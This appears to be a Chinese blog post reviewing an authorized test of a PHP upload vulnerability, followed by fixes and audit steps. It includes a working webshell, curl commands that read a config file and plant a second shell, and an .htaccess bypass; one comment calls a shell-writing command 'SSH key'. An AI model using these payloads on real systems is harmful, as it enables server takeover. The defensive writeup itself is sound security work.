一次文件上传漏洞的完整复盘:从绕过到修复
去年帮朋友看他那个 CMS 的后台,发现了一个文件上传漏洞。整个攻击链不复杂,但很典型,写下来当案例。
所有测试都在他本地的测试环境里做的,拿到了授权。
一、漏洞点
上传接口是这样:
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
$blocked = ['php', 'php3', 'php4', 'php5', 'phtml'];
if (in_array($ext, $blocked)) {
die('不允许的文件类型');
}
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
三个问题,从轻到重:
- 黑名单不全(漏了
php7、pht、.htaccess、phar) - 没有校验 MIME / 文件内容
- 直接用原文件名保存,没有重命名
第三条是最致命的。
二、绕过过程
第一步:试扩展名
.php 被拦。但服务器是 Apache + PHP-FPM,AddType 配置里带了 application/x-httpd-php .php .phtml .php5,而黑名单里漏了 php7——不过 php7 这个扩展默认不解析。
真正能用的是 .pht:Apache 默认配置里 .pht 被映射到 PHP。黑名单里没有。
上传 shell.pht,访问 /uploads/shell.pht——直接执行了。
第二步:拿 shell
上传一个极简的 webshell(测试环境,只执行 id):
<?php echo shell_exec($_GET['c']); ?>
访问 /uploads/shell.pht?c=id,返回 uid=33(www-data)。
到这里服务器已经失守了。
第三步:看看能走多远
# 读配置文件
curl "http://target/uploads/shell.pht?c=cat%20../config.php"
数据库密码明文。
# 写 SSH key
curl "http://target/uploads/shell.pht?c=echo%20'%3C?php%20system(\$_GET[1]);?%3E'%20%3E%20/tmp/x.php"
因为是 www-data,写不了 /root,但能写 web 目录,能读所有 web 文件,能连数据库。
从上传到完全控制,五分钟。
三、还有一个更隐蔽的入口
测试过程中我发现,就算把扩展名黑名单补全,还有一个洞:.htaccess 上传。
如果 Apache 开启了 AllowOverride All,攻击者可以上传一个 .htaccess:
AddType application/x-httpd-php .jpg
然后上传 shell.jpg,它就会被当 PHP 执行。
这个思路的价值在于:黑名单永远补不全,因为你能想到的扩展名和服务器能解析的扩展名不是同一个集合。
四、正确的修复
正确的做法不是补黑名单,是白名单 + 重命名 + 移出 web 根。
1. 白名单
$allowed = [
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'png' => 'image/png',
'gif' => 'image/gif',
'webp' => 'image/webp',
'pdf' => 'application/pdf',
'zip' => 'application/zip',
];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!isset($allowed[$ext])) {
die('不支持的文件类型');
}
2. 校验真实 MIME
扩展名可以伪造,要看内容:
$finfo = new finfo(FILEINFO_MIME_TYPE);
$realMime = $finfo->file($_FILES['file']['tmp_name']);
if ($realMime !== $allowed[$ext]) {
die('文件内容与扩展名不符');
}
注意:zip 的 MIME 在不同系统上可能是 application/zip 或 application/x-zip-compressed,要兼容。
图片还可以进一步用 getimagesize() 验证:
if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'webp']) && !@getimagesize($_FILES['file']['tmp_name'])) {
die('不是有效的图片');
}
3. 重命名,不要用原文件名
$newName = bin2hex(random_bytes(16)) . '.' . $ext;
原文件名只存进数据库,用于展示下载时的 Content-Disposition。
重命名能挡掉绝大多数攻击,因为攻击者无法预测文件路径,即使文件可执行也访问不到。
4. 存储目录不要有执行权限
这是最后一道防线。Nginx:
location ^~ /uploads/ {
location ~ \.(php|php7|pht|phtml|phar)$ {
deny all;
}
add_header Content-Disposition "attachment";
}
Apache:
<Directory "/var/www/uploads">
php_admin_flag engine off
Options -ExecCGI -Indexes
RemoveHandler .php .phtml .pht .phar
RemoveType .php .phtml .pht .phar
</Directory>
5. 更彻底:文件放 web 根之外
/var/www/app/uploads/ # 不在 web 根
下载走一个 PHP 脚本做权限判断,用 readfile() 输出:
header('Content-Type: ' . $mime);
header('Content-Disposition: attachment; filename="' . $safeName . '"');
readfile('/var/www/app/uploads/' . $storedName);
这样即使文件被上传成 .php,也永远不会被当成脚本执行。
五、检测这类漏洞的方法
我在做审计时的检查清单:
# 1. 找所有上传点
grep -rn "move_uploaded_file\|\$_FILES" --include="*.php" .
# 2. 看有没有重命名
grep -rn "move_uploaded_file" -A 2 --include="*.php" . | grep -v "random\|uniqid\|md5"
# 3. 看有没有 MIME 校验
grep -rn "finfo\|getimagesize\|\$_FILES.*type" --include="*.php" .
# 4. 看上传目录有没有执行权限
ls -la uploads/
curl -I http://target/uploads/test.php # 应该返回 403
六、这件事之后我改的习惯
- 所有上传一律白名单,哪怕只是「临时用一下」
- 上传目录永远不给执行权限,这是零成本的
- 文件名永远重命名,原文件名只用于展示
- 测试上传点的时候,先传一个
.pht,比试.php有效
最后一点值得说明:很多人测上传只试 .php,被拦了就以为安全了。服务器能解析的扩展名比你想的多。测试时应该看服务器的配置(httpd.conf 里的 AddType、AddHandler),而不是猜。
七、一句提醒
这篇文章里提到的所有手法,都是公开的、基础的,任何一个学过 Web 安全的人都知道。
真正的差距不在「知道怎么打」,而在「有没有人认真检查自己的代码」。
我朋友那个站,漏洞存在了两年,日志里其实有扫描记录(GET /uploads/shell.pht 的 404 请求),但没人看日志。
评论 (0)
还没有评论,来说两句吧~
发表评论